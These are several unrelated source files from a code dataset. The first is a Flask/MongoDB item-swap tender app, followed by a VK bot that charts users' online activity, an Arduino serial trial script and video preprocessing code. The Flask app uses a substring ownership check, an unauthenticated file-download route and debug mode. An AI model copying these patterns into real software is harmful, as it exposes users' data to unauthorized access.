redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n if request.method == \"POST\": # leave tender!\n\n current_tender[\"participants\"].remove(email)\n current_item = items.find_one({'inTender': ObjectId(tenderId), 'owner': email})\n current_tender[\"items\"].pop(str(current_item[\"_id\"]), None)\n\n tenders.update({ # update the tender in DB\n '_id': ObjectId(tenderId)},\n {\n '$set': {\n 'items': current_tender[\"items\"],\n 'participants': current_tender[\"participants\"]}}, upsert=False)\n\n items.update({ # item not in use anymore\n '_id': current_item[\"_id\"]},\n {\n '$set': {\n 'inUse': False,\n 'inTender': None}}, upsert=False)\n\n session[str(tenderId)] = True\n # POST REQUEST\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n # GET\n return render_template(\"inside_of_tender.html\", login_user=login_user, current_tender=current_tender, items=items)\n\n # not connected\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n # not isActive and no results = need to rank\n elif not current_tender[\"results\"]:\n return redirect(url_for(\"rank_items\", tenderId=tenderId))\n\n else: # not isActive and have results so the tender is over!\n return redirect(url_for(\"results\", tenderId=tenderId))\n\n\n@app.route(\"/enter_password//\", methods=[\"POST\", \"GET\"])\ndef enter_password(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]:\n if not current_tender[\"isPrivate\"]: # this tender is public\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n if \"email\" in session:\n email = session[\"email\"]\n if email in current_tender[\"participants\"]: # if user already joined with password he doesnt need enter password again\n return redirect(url_for(\"inside_of_tender\", tenderId=tenderId))\n\n if request.method == \"POST\": # if user didnt join to this tender and the pass is correct\n if bcrypt.hashpw(request.form[\"pass\"].encode('utf-8'), current_tender[\"password\"]) == current_tender[\"password\"]:\n session[str(tenderId)] = True\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n # GET\n if str(tenderId) in session:\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n # user is connected but not participate in this tender\n return render_template(\"enter_password_private.html\", current_tender=current_tender)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/rank_items//\", methods=[\"POST\", \"GET\"])\ndef rank_items(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n tenderPref = \"pref \" + tenderId # store the num of preferences for each user\n\n if current_tender[\"results\"]:\n return redirect(url_for(\"results\", tenderId=tenderId))\n\n if \"email\" in session:\n email = session[\"email\"]\n\n login_user = users.find_one({'email': email})\n if email in current_tender[\"participants\"]:\n\n if not current_tender[\"isActive\"]: # rank items!\n\n if request.method == \"POST\": # click submit after rank\n try: # first post request -> the amount of prefered items\n numOfPrefs = request.form[\"preferedCount\"]\n session[tenderPref] = numOfPrefs\n\n except: # second post request -> create list of preferred items accordingly to numOfPrefs value\n if tenderPref in session: # we clicked apply and then submit\n numOfPrefs = session[tenderPref]\n sortedItems = request.form.getlist(\"handles[]\")\n\n currentItem = items.find_one({'inTender': ObjectId(tenderId), 'owner': email})\n itemId = str(currentItem[\"_id\"])\n\n if(int(numOfPrefs) == 0): # prefer his item\n # clear his prev preferences\n current_tender[\"items\"][itemId] = []\n # add his item as first preferenc.\n current_tender[\"items\"][itemId].append(itemId)\n\n # add the rest of the items\n\n else: # prefer at least one item of the list\n current_tender[\"items\"][itemId] = sortedItems[-int(numOfPrefs):]\n # add his item after the items he prefer\n current_tender[\"items\"][itemId].append(itemId)\n\n print(current_tender[\"items\"])\n tenders.update_one({ # update the tender with items preferences in DB\n '_id': ObjectId(tenderId)},\n {\n '$set': {\n 'items': current_tender[\"items\"]}}, upsert=False)\n\n session.pop(tenderPref, None)\n session[\"rank_items\"] = True\n return redirect(url_for(\"home\"))\n\n # GET\n else:\n if email in current_tender[\"participants\"]:\n # clear the preferences before get request\n session.pop(tenderPref, None)\n return render_template(\"rank_items.html\", current_tender=current_tender, login_user=login_user, items=items)\n\n else: # if the tender is active\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n return redirect(url_for(\"home\"))\n\n\n@app.route(\"/results//\", methods=[\"POST\", \"GET\"])\ndef results(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n size = len(current_tender[\"participants\"])\n\n if request.method == \"POST\": # click submit for send email to all participants\n emailSubject = request.form[\"email subject\"]\n emailContent = request.form[\"email content\"]\n with app.app_context(): # for sending emails need to use app context\n sendEmail(emailSubject, emailContent, current_tender[\"participants\"])\n return redirect(url_for(\"results\", tenderId=tenderId))\n\n login_user = None\n email = None\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n if (current_tender[\"results\"] or (email == current_tender[\"owner\"])):\n\n participants = current_tender[\"participants\"]\n\n items_arr1 = [] # list of items\n items_list_id1 = list(current_tender[\"items\"].keys()) # list of items id\n for i in items_list_id1:\n # add the item element by id\n items_arr1.append(items.find_one({'_id': ObjectId(i)}))\n\n items_arr2 = [] # list of results items\n\n # list of the results items id\n items_list_id2 = list(current_tender[\"results\"].values())\n for i in range(size):\n # participant by same order as items keys\n user_email = participants[i]\n # return the result for participant[i]\n user_result = current_tender[\"results\"][user_email]\n # return the result for participant[i]\n items_arr2.append(items.find_one({'_id': ObjectId(user_result)}))\n\n return render_template(\"results.html\", current_tender=current_tender, login_user=login_user,\n items_arr1=items_arr1, items_arr2=items_arr2)\n return redirect(url_for(\"home\"))\n\n\n@app.route('/delete_tender//')\ndef delete_tender(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]: # the tender is still open for sign\n if \"email\" in session:\n email = session[\"email\"]\n # if this user is the owner of the tender\n if email == current_tender[\"owner\"]:\n\n tenders.delete_one({ # update the tender in DB\n '_id': ObjectId(tenderId)})\n\n items.update_many({ # items not in use anymore\n 'inTender': ObjectId(tenderId)},\n {\n '$set': {\n 'inUse': False,\n 'inTender': None}}, upsert=False)\n\n users.update_many({ # if user liked this tender, remove it\n 'favoritesTenders': (tenderId)},\n {\n '$pull': {'favoritesTenders': tenderId}}, upsert=False)\n\n return redirect(url_for(\"my_own_tenders\"))\n\n return redirect(url_for(\"home\"))\n\n\n@app.route('/add_favorite//')\ndef add_favorite(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]: # the tender is still open for sign\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n # if this user is the owner of the tender\n # if i already liked this tender remove from favorites\n if tenderId in login_user[\"favoritesTenders\"]:\n users.update({ # item not in use anymore\n '_id': login_user[\"_id\"]},\n {\n '$pull': {'favoritesTenders': tenderId}}, upsert=False)\n session[\"add_favorite\"] = False\n else: # i want to add to favorite tenders\n users.update({ # item not in use anymore\n '_id': login_user[\"_id\"]},\n {\n '$push': {'favoritesTenders': tenderId}}, upsert=False)\n session[\"add_favorite\"] = True\n\n return redirect(url_for(\"out_of_tender\", tenderId=tenderId))\n\n else:\n return redirect(url_for(\"home\"))\n\n\n@app.route('/FQA/')\ndef FQA():\n login_user = None\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n return render_template(\"FQA.html\",login_user=login_user)\n\n@app.route('/AboutUs/')\ndef AboutUs():\n login_user = None\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n return render_template(\"about_us.html\",login_user=login_user)\n\n@app.route('/contact/', methods=[\"POST\", \"GET\"])\ndef contact():\n login_user = None\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n\n if request.method == \"POST\":\n mail = request.form[\"email\"]\n emailSubject = request.form[\"subject\"]\n emailContent = request.form[\"message\"]\n emailContent = emailContent + \"\\n his mail: \" + mail\n with app.app_context(): # for sending emails need to use app context\n sendEmail(emailSubject, emailContent, [\"finalprojmultitrade@gmail.com\"])\n return redirect(url_for(\"home\"))\n\n return render_template(\"contact.html\",login_user=login_user)\n\n\n@app.route('/edit_tender//', methods=[\"POST\", \"GET\"])\ndef edit_tender(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if current_tender[\"isActive\"]:\n if \"email\" in session:\n email = session[\"email\"]\n login_user = users.find_one({'email': email})\n # the current user is the owner\n if email in current_tender[\"owner\"]:\n if request.method == \"POST\": # clicked update\n blockedList = request.form.getlist(\"check[]\")\n current_tender[\"blocked\"] = blockedList # get the updated blockedList from the page\n for user in blockedList: # delete every user that participate in the tender and get blocked\n if user in current_tender[\"participants\"]:\n current_tender[\"participants\"].remove(user)\n current_item = items.find_one({'inTender': ObjectId(tenderId), 'owner': user})\n current_tender[\"items\"].pop(str(current_item[\"_id\"]), None)\n\n name = request.form[\"tenderName\"]\n desc = request.form[\"tenderDetails\"]\n days_for_ranking = int(request.form[\"daysForRanking\"])\n date = request.form[\"datepicker\"]\n\n d = int(date[:2])\n m = int(date[3:5])\n y = int(date[6:])\n joining_time = datetime(y, m, d)\n\n if (name != current_tender[\"name\"] or days_for_ranking != current_tender[\"daysForRanking\"]\n or joining_time != current_tender[\"joining_time\"]):\n sendEmail(current_tender[\"name\"]+\" has changed\",\"Some details were changed in tender \"+current_tender[\"name\"]+\n \", to see the changes: https://multitrade.herokuapp.com/out_of_tender/\"+str(current_tender[\"_id\"])+\"\\n MultiTrade\",\n current_tender[\"participants\"])\n\n\n tenders.update_one({ # update the tender in DB\n '_id': ObjectId(current_tender[\"_id\"])},\n {\n '$set': {\n 'name': name,\n 'description': desc,\n 'daysForRanking': days_for_ranking,\n 'joining_time': joining_time,\n 'blocked': current_tender[\"blocked\"],\n 'items': current_tender[\"items\"],\n 'participants': current_tender[\"participants\"]}}, upsert=False)\n\n items.update_many({ # update any item that in the blockList and also participate\n 'inUse': True, 'inTender': current_tender[\"_id\"], 'owner': {\"$in\": current_tender[\"blocked\"]} },\n {\n '$set': {\n 'inUse': False,\n 'inTender': None}}, upsert=False)\n\n session[\"edit_tender\"] = True\n else: # GET\n return render_template(\"edit_tender.html\", current_tender=current_tender, login_user=login_user)\n\n return redirect(url_for(\"home\"))\n\n\n@app.route('/return-file//')\ndef return_file(fileId):\n\n current_file = fsFiles.find_one({'_id': ObjectId(fileId)})\n file_name = current_file[\"filename\"]\n return mongo.send_file(file_name)\n\n\n@app.route(\"/logout/\")\ndef logout():\n\n session.clear()\n return redirect(url_for(\"home\"))\n\n\ndef allJobs():\n\n print(\"alljobs\")\n d = (datetime.now()+timedelta(hours=3)).date()\n current_date = datetime(d.year, d.month, d.day)\n waiting_tenders = tenders.find({'results': {}}) # find all tenders without results\n\n for current_tender in waiting_tenders:\n last_joining_day = current_tender[\"joining_time\"]\n\n if current_tender[\"isActive\"]: # if is active check if the time for join is over\n if last_joining_day < current_date: # not equal because we didnt want open for ranking in the opening day\n tenders.update_one({ # update the tender in DB\n '_id': ObjectId(current_tender[\"_id\"])},\n {\n '$set': {\n 'isActive': False}}, upsert=False)\n # if only 1 participant and joining time over - change item status to be not in use\n if len(current_tender[\"participants\"]) == 1:\n itemToResume = list(current_tender[\"items\"].keys())[0]\n items.update_one({ # update the tender in DB\n '_id': ObjectId(itemToResume)},\n {\n '$set': {\n 'inUse': False, 'inTender': None}},\n upsert=False)\n else: # more than 1 participant\n with app.app_context(): # for sending emails need to use app context\n sendEmail(\"It's time to rank items in tender \"+current_tender[\"name\"],\n \"Click here to rank items: https://multitrade.herokuapp.com/rank_items/\"+str(current_tender[\"_id\"])+\"\\n MultiTrade\",\n current_tender[\"participants\"])\n\n elif (last_joining_day + timedelta(days=current_tender[\"daysForRanking\"])) < current_date and len(current_tender[\"participants\"]) > 1:\n myAlgo(str(current_tender[\"_id\"]))\n\ndef myAlgo(tenderId):\n\n current_tender = tenders.find_one({'_id': ObjectId(tenderId)})\n if not current_tender[\"isActive\"]:\n\n owners = current_tender[\"participants\"] # emails\n # cast to list for keeping the item's keys order\n items = list(current_tender[\"items\"].keys())\n initialOwnerShip = dict(zip(items, owners))\n\n # change the keys of preferences to be owner email instead of item id\n for i in range(len(owners)):\n # if the user didnt rank any item\n if not current_tender[\"items\"][items[i]]: # preferences list of this item is empty\n (current_tender[\"items\"][items[i]]).append(items[i]) # put his item as first preference\n\n # change to email prefer items instead of item prefer items\n current_tender[\"items\"][owners[i]] = current_tender[\"items\"].pop(items[i])\n preferences = current_tender[\"items\"]\n\n results = topTradingCycles(owners, items, preferences, initialOwnerShip)\n\n updateExchanges(results)\n\n tenders.update_one({ # update the results of the tender in DB\n '_id': ObjectId(tenderId)},\n {\n '$set': {\n 'results': results}}, upsert=False)\n\n\ndef updateExchanges(results):\n\n receivedSameItem = []\n receivedNewItem = []\n\n for email, item_received in results.items(): # items method on dict return touple pairs\n current_item = items.find_one({'_id': ObjectId(item_received)})\n if current_item:\n if (email == current_item[\"owner\"]): # received his item\n receivedSameItem.append(email)\n # update inUse to False\n items.update_one({ # update the tender in DB\n '_id': ObjectId(item_received)},\n {\n '$set': {\n 'inUse': False}}, upsert=False)\n else: # received another item\n receivedNewItem.append(email)\n items.update_one({ # update the item in DB\n 'owner': email, 'inTender': current_item[\"inTender\"]},\n {\n '$set': { # create new field that contains which item we will receive\n 'itemReceived': ObjectId(item_received)}}, upsert=False)\n\n with app.app_context(): # for sending emails need to use app context\n sendEmail(\"Results for tender \"+current_tender[\"name\"],\n \"Click here to see the results: https://multitrade.herokuapp.com/results/\"+str(current_tender[\"_id\"])+\"\\n MultiTrade\",\n receivedNewItem)\n\n with app.app_context(): # for sending emails need to use app context\n sendEmail(\"Unfortunately you got the same item in tender \"+current_tender[\"name\"],\n \"Click here to see the results: https://multitrade.herokuapp.com/results/\"+str(current_tender[\"_id\"])+\"\\n try your luck next time \\n MultiTrade\",\n receivedSameItem)\n\n\ndef sendEmail(subject, body, participants):\n try:\n if len(participants) > 0:\n msg = Message(subject, recipients=participants)\n msg.body = body\n mail.send(msg)\n except:\n print(\"send email failed\")\n\n\ndef addDays(tenderDates, numOfDays):\n return tenderDates + timedelta(days=numOfDays)\n\napp.jinja_env.filters['addDays'] = addDays # add fuction addDays as custon filter to ninja environment\n\nif __name__ == '__main__':\n scheduler.add_job(id='activation task', func=allJobs, trigger='interval', seconds=10)\n scheduler.start()\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":43120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"168894080","text":"# -*- coding: utf-8 -*-\n\nimport vk_api.vk_upload as upl\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager as fonts\nimport matplotlib as mpl\nimport time\nimport datetime as date\nimport random\nfrom historycontrol import historyLock\nimport os.path\n\nday = 60 * 60 * 24\nempty_timeout = 5*60\ntimeout = 14 * 60\n\nmpl.rcdefaults()\nfont = {'family': 'stixgeneral',\n 'weight': 'normal'}\nmpl.rc('font', **font)\n\ndef getTimeTuple(tstmp):\n return date.datetime.fromtimestamp(tstmp, date.timezone(date.timedelta(hours=4))).timetuple()\n\ndef getUserLogs(interesting_users, now):\n l = dict()\n\n with historyLock, open('history.txt') as f:\n for s in f:\n s = s.split()\n id = -int(s[1])\n if interesting_users is None or id in interesting_users:\n if id not in l:\n l[id] = []\n if now - day < int(s[3]):\n l[id].append([int(s[0]) - 8, int(s[3]), int(s[2])])\n\n fxl = dict()\n\n for id in l:\n pos = -1\n fxl[id] = []\n for el in l[id]:\n if el[0] == 0 and pos == -1:\n fxl[id].append(el)\n pos = el[1]\n elif el[0] == 0 and pos != -1:\n fxl[id].append([1, pos + empty_timeout, 0])\n fxl[id].append(el)\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n if el[2] == 1:\n el[1] -= timeout\n fxl[id].append(el)\n pos = -1\n l = fxl\n return l\n\ndef getUsersSortedByTime(log, now):\n tmid = []\n for id in log:\n st = 0\n pos = -1\n for el in log[id]:\n if el[0] == 0 and pos == -1:\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n st += el[1] - pos\n pos = -1\n if pos != -1:\n st += now - pos\n tmid.append([st, id])\n tmid.sort(key = lambda x : x[0])\n return list(p[1] for p in tmid)\n\ndef getUsernames(users, vk):\n r = vk.method('users.get', {'user_ids' : ','.join(str(u) for u in users)})\n usernames = dict()\n for user in r:\n usernames[user['id']] = user['first_name'] + ' ' + user['last_name']\n return usernames\n\ndef drawLog(d, log, tmid, usernames):\n tp = d.timetuple()\n now = int(d.timestamp())\n dh = day - (tp.tm_min * 60 + tp.tm_sec)\n ch = d.hour\n offx = 100\n\n plt.figure(1, figsize=(20, len(log) * 3 + 1))\n plt.subplot(2, 1, 1)\n while dh > 0:\n if (ch == 0):\n plt.axvline(dh // 60, ls = 'dashed', color = '#FF0000')\n else:\n plt.axvline(dh // 60, ls = 'dashed', color = '#B0B0B0')\n plt.annotate(str(ch) + ':00', xy = (dh // 60 + 5, 0), fontproperties = fonts.FontProperties(size = 10))\n dh -= 60*60\n ch -= 1\n if ch < 0:\n ch += 24\n dx = 0\n for id in tmid:\n dx += 1\n pos = -1\n usrclr = [random.random() / 2, random.random() / 2, random.random() / 2]\n usrclrfd = list(min(1, clr + 0.5) for clr in usrclr)\n plt.axhline(dx, lw = 1, color = usrclrfd)\n for el in log[id]:\n if el[0] == 0 and pos == -1:\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n plt.plot([(pos - now + day) // 60, (el[1] - now + day) // 60], [dx, dx], color = usrclr, linewidth=2.0)\n pos = -1\n if pos != -1:\n plt.plot([(pos - now + day) // 60, day // 60], [dx, dx], color = usrclr, linewidth=2.0)\n plt.annotate(usernames[id], xy = (-offx, dx + 0.2), fontproperties = fonts.FontProperties(size = 10))\n # plt.plot([0],[0], 'b', linewidth=2.0)\n # plt.plot([day // 60],[dx + 1], 'b', linewidth=2.0)\n # plt.annotate('KEK', xy = (2, 2.2))\n plt.axis([-offx, day // 60, 0, dx + 1])\n plt.axis('off')\n\ndef drawRelativeLog(d, log, tmid, base_user, usernames):\n tp = d.timetuple()\n now = int(d.timestamp())\n dh = day - (tp.tm_min * 60 + tp.tm_sec)\n ch = d.hour\n offx = 100\n pos = -1\n drawLog(d, log, tmid, usernames)\n bgclr = '#70E4E7'\n for el in log[base_user]:\n if el[0] == 0 and pos == -1:\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n plt.axvspan((pos - now + day) // 60, (el[1] - now + day) // 60, 0, 1, color = bgclr, fill = False, hatch = '/')\n pos = -1\n if pos != -1:\n plt.axvspan((pos - now + day) // 60, day // 60, 0, 1, color = bgclr, fill = False, hatch = '/')\n\ndef savePlot(filename):\n plt.savefig(filename, bbox_inches = 'tight')\n\ndef makeChart(vk, interesting_users = None):\n d = date.datetime.now(date.timezone(date.timedelta(hours=4)))\n now = int(d.timestamp())\n l = getUserLogs(interesting_users, now)\n tmid = getUsersSortedByTime(l, now)\n usernames = getUsernames(list(l.keys()), vk)\n drawLog(d, l, tmid, usernames)\n savePlot('hist.png')\n\ndef makeRelativeChart(vk, base_user, interesting_users = None):\n if interesting_users is not None and base_user not in interesting_users:\n interesting_users = list(interesting_users).append(base_user)\n d = date.datetime.now(date.timezone(date.timedelta(hours=4)))\n now = int(d.timestamp())\n l = getUserLogs(interesting_users, now)\n tmid = getUsersSortedByTime(l, now)\n tmid.remove(base_user)\n tmid.append(base_user)\n usernames = getUsernames(list(l.keys()), vk)\n drawRelativeLog(d, l, tmid, base_user, usernames)\n savePlot('hist.png')\n\ndef makePersonalChart(id):\n d = date.datetime.now(date.timezone(date.timedelta(hours=4)))\n now = int(d.timestamp())\n last_update = now - d.hour * 60*60 - d.minute * 60 - d.second\n dg = list()\n cnt = 10\n while cnt > 0:\n cnt-=1\n curdname = time.strftime('%Y-%m-%d', getTimeTuple(last_update))\n l = []\n if os.path.exists('days/' + curdname + '/' + str(id) + '.txt'):\n with historyLock, open('days/' + curdname + '/' + str(id) + '.txt') as f:\n for s in f:\n s = s.split()\n l.append([int(s[0]) - 8, int(s[3]) - last_update, int(s[2])])\n dg.append([curdname, l])\n last_update -= day\n\n\n fxdg = []\n for dayname, lt in dg:\n pos = -1\n nlt = []\n for el in lt:\n if el[0] == 0 and pos == -1:\n nlt.append(el)\n pos = el[1]\n elif el[0] == 0 and pos != -1:\n nlt.append([1, pos + empty_timeout, 0])\n nlt.append(el)\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n if el[2] == 1:\n el[1] -= timeout\n nlt.append(el)\n pos = -1\n fxdg.append([dayname, lt])\n dg = fxdg\n\n plt.figure(1, figsize=(20, len(dg)))\n # plt.subplot(2, 1, 1)\n dh = day\n ch = 0\n while dh > 0:\n plt.axvline(dh // 60, ls = 'dashed', color = '#B0B0B0')\n plt.annotate(str(ch) + ':00', xy = (dh // 60 + 5, 0), fontproperties = fonts.FontProperties(size = 10))\n dh -= 60*60\n ch -= 1\n if ch < 0:\n ch += 24\n dx = 0\n offx = 100\n for dayname, lt in dg:\n dx += 1\n pos = -1\n usrclr = [random.random() / 2, random.random() / 2, random.random() / 2]\n usrclrfd = list(min(1, clr + 0.5) for clr in usrclr)\n plt.axhline(dx, lw = 1, color = usrclrfd)\n for el in lt:\n if el[0] == 0 and pos == -1:\n pos = el[1]\n elif el[0] == 1 and pos != -1:\n plt.plot([pos // 60, (el[1]) // 60], [dx, dx], color = usrclr, linewidth=2.0)\n pos = -1\n if pos != -1:\n plt.plot([pos // 60, day // 60], [dx, dx], color = usrclr, linewidth=2.0)\n plt.annotate(dayname, xy = (-offx, dx + 0.2), fontproperties = fonts.FontProperties(size = 10))\n plt.axis([-offx, day // 60, 0, dx + 1])\n plt.axis('off')\n plt.savefig('pershist.png', bbox_inches = 'tight')\n\ndef getHistory(com, vk):\n if len(com.args) == 1:\n makePersonalChart(com.id)\n vu = upl.VkUpload(vk)\n r = vu.photo_messages(photos=['pershist.png'])\n elif len(com.args) == 2 and com.args[1] == 'все':\n makeChart(vk)\n vu = upl.VkUpload(vk)\n r = vu.photo_messages(photos=['hist.png'])\n elif len(com.args) == 2:\n if (com.args[1] == 'я'):\n id = com.id\n else:\n r = vk.method('users.get', {'user_ids' : com.args[1]})\n id = r[0]['id']\n if id in vk.users:\n makePersonalChart(id)\n vu = upl.VkUpload(vk)\n r = vu.photo_messages(photos=['pershist.png'])\n else:\n return {'attachment': 'photo325483887_400964540'}\n elif len(com.args) == 3:\n lname = com.args[1]\n fname = com.args[2]\n id = -1\n for user in vk.users.values():\n if lname == str(user['last_name']).lower() and fname == str(user['first_name']).lower():\n id = user['id']\n break\n if id in vk.users:\n makePersonalChart(id)\n vu = upl.VkUpload(vk)\n r = vu.photo_messages(photos=['pershist.png'])\n else:\n return {'attachment': 'photo325483887_400964540'}\n else:\n return {'attachment': 'photo325483887_400964540'}\n return {'attachment': 'photo' + str(r[0]['owner_id']) + '_' + str(r[0]['id'])}\n","sub_path":"history/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":9401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"608481745","text":"\"\"\"\n151209: Python interface for triggering trials on Arduino using extremely simple scheme for controlling multiple stimuli. \n\nUnder this scheme, the Arduino waits for two pieces of information from Python before executing any trials: 1) stimulus duration, and 2) reward duration.\n\nAfter receiving this timing information, the Arduino awaits instructions for each trial. The sketch defines one function for each stimulus condition. The sketch also includes an array of pointers to each function. \n\nThus, on each trial, the Arduino reads in a single integer that it then uses as an index to a function for that trial. \n\nTrial condition indices:\n1: whisker alone\n2: white noise alone\n3: reward alone\n4: whisker + white noise\n5: whisker + reward\n6: white noise + reward\n7: whisker + white noise + reward\n\n\"\"\"\n\n# -*- coding: utf-8 -*-\nimport serial, time\n\n#Set experiment timing parameters (ms):\ntrialDur = 4000\nrewDur = 50\n\n#Create trials\ntrials = [ 1 ]\n\n#Initialize serial port connection\nconnected = False\nser = serial.Serial( 'COM5', 19200, timeout = 2 )\n\n\n#Wait to receive signal that handshake is complete\nwhile not connected:\n\tserin = ser.readline()\n\tconnected = True\n\tprint('Serial port open')\n\ntime.sleep(1) #Wait to make sure handshake is complete\n\n\n#Send timing information (and print echo to check fidelity)\n#ser.write(bytes(str(trialDur) + '\\n', 'UTF-8')) #for Python 3.5\nser.write( str(trialDur) + '\\n' ) #for Python 2.7\nprint( 'Echoed trial duration: ' + str(ser.readline()) )\n\n#ser.write(bytes(str(rewDur) + '\\n', 'UTF-8')) #for Python 3.5\nser.write( str(rewDur) + '\\n' ) #for Python 2.7\nprint( 'Echoed reward duration: ' + str(ser.readline()) )\n\ntime.sleep(1)\n\n#Deliver trial instructions\nfor trial in trials:\n\t#ser.write(bytes(str(trial) + '\\n', 'UTF-8')) #for Python 3.5\n ser.write( str(trial) + '\\n' ) #for Python 2.7\n print( 'Echoed trial idx: ' + str(ser.readline()) ) # read back echoed trial index\n time.sleep( (trialDur/1000) + .01 ) #wait for trial to complete\n print(str(ser.readline()) ) #read back trial complete message\n time.sleep(2) # wait between trials\n\t\n#Clean up\t\nser.close()\nprint( 'Done' )","sub_path":"multisens_hw_control_manual.py","file_name":"multisens_hw_control_manual.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"108890880","text":"# -*- coding: utf-8 -*-\n\"\"\"\n The functions for preparing the data.\n\n:Author: Yan Zhou\n\n:License: BSD 3-Clause, see LICENSE file.\n\"\"\"\n\nfrom Brian2_scripts.sim_brian_paper.sim_brian_paper_CoE.src.core import BaseFunctions\n\nimport os\nimport re\n\nimport cv2\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n\nclass KTH_classification(BaseFunctions):\n def __init__(self):\n self.CATEGORIES = {\n \"boxing\": 0,\n \"handclapping\": 1,\n \"handwaving\": 2,\n \"jogging\": 3,\n \"running\": 4,\n \"walking\": 5\n }\n\n def spilt_data(self, split_type, **kwargs):\n if split_type == 'official':\n self.TRAIN_PEOPLE_ID = [11, 12, 13, 14, 15, 16, 17, 18]\n self.VALIDATION_PEOPLE_ID = [19, 20, 21, 23, 24, 25, 1, 4]\n self.TEST_PEOPLE_ID = [22, 2, 3, 5, 6, 7, 8, 9, 10]\n elif split_type == 'random':\n x = np.arange(25) + 1\n np.random.shuffle(x)\n s = kwargs['split']\n self.TRAIN_PEOPLE_ID = x[:s[0]]\n self.VALIDATION_PEOPLE_ID = x[s[0]:sum(s[:2])]\n self.TEST_PEOPLE_ID = x[sum(s[:2]):sum(s)]\n elif split_type == 'solid':\n self.TRAIN_PEOPLE_ID = kwargs['train']\n self.VALIDATION_PEOPLE_ID = kwargs['validation']\n self.TEST_PEOPLE_ID = kwargs['test']\n elif split_type == 'mixed':\n self.TRAIN_PEOPLE_ID = np.arange(25) + 1\n else:\n print('worng type, use official instead')\n self.TRAIN_PEOPLE_ID = [11, 12, 13, 14, 15, 16, 17, 18]\n self.VALIDATION_PEOPLE_ID = [19, 20, 21, 23, 24, 25, 1, 4]\n self.TEST_PEOPLE_ID = [22, 2, 3, 5, 6, 7, 8, 9, 10]\n\n def parse_sequence_file(self, path):\n print(\"Parsing %s\" % path)\n\n with open(path, 'r') as content_file:\n content = content_file.read()\n content = re.sub(\"[\\t\\n]\", \" \", content).split()\n self.frames_idx = {}\n current_filename = \"\"\n for s in content:\n if s == \"frames\":\n continue\n elif s.find(\"-\") >= 0:\n if s[len(s) - 1] == ',':\n s = s[:-1]\n idx = s.split(\"-\")\n if current_filename[:6] == 'person':\n if not current_filename in self.frames_idx:\n self.frames_idx[current_filename] = []\n self.frames_idx[current_filename].append([int(idx[0]), int(idx[1])])\n else:\n current_filename = s + \"_uncomp.avi\"\n\n def load_data_KTH(self, data_path, dataset=\"train\"):\n if dataset == \"train\":\n ID = self.TRAIN_PEOPLE_ID\n elif dataset == \"validation\":\n ID = self.VALIDATION_PEOPLE_ID\n else:\n ID = self.TEST_PEOPLE_ID\n\n data = []\n for category in self.CATEGORIES.keys():\n folder_path = os.path.join(data_path, category)\n filenames = sorted(os.listdir(folder_path))\n for filename in filenames:\n filepath = os.path.join(data_path, category, filename)\n person_id = int(filename.split(\"_\")[0][6:])\n if person_id not in ID:\n continue\n condition_id = int(filename.split(\"_\")[2][1:])\n cap = cv2.VideoCapture(filepath)\n for f_id, seg in enumerate(self.frames_idx[filename]):\n frames = []\n cap.set(cv2.CAP_PROP_POS_FRAMES, seg[0] - 1) # 设置要获取的帧号\n count = 0\n while (cap.isOpened() and seg[0] + count - 1 < seg[1] + 1):\n ret, frame = cap.read()\n if ret == True:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frames.append(gray.reshape(-1))\n count += 1\n else:\n break\n data.append({\n \"frames\": np.array(frames),\n \"category\": category,\n \"person_id\": person_id,\n \"condition_id\": condition_id,\n \"frame_id\": f_id,\n })\n cap.release()\n return pd.DataFrame(data)\n\n def frame_diff(self, frames, origin_size=(120, 160)):\n frame_diff = []\n it = frames.__iter__()\n frame_pre = next(it).reshape(origin_size)\n while True:\n try:\n frame = next(it).reshape(origin_size)\n frame_diff.append(cv2.absdiff(frame_pre, frame).reshape(-1))\n frame_pre = frame\n except StopIteration:\n break\n return np.asarray(frame_diff)\n\n def block_array(self, matrix, size):\n if int(matrix.shape[0] % size[0]) == 0 and int(matrix.shape[1] % size[1]) == 0:\n X = int(matrix.shape[0] / size[0])\n Y = int(matrix.shape[1] / size[1])\n shape = (X, Y, size[0], size[1])\n strides = matrix.itemsize * np.array([matrix.shape[1] * size[0], size[1], matrix.shape[1], 1])\n squares = np.lib.stride_tricks.as_strided(matrix, shape=shape, strides=strides)\n return squares\n else:\n raise ValueError('matrix must be divided by size exactly')\n\n def pooling(self, 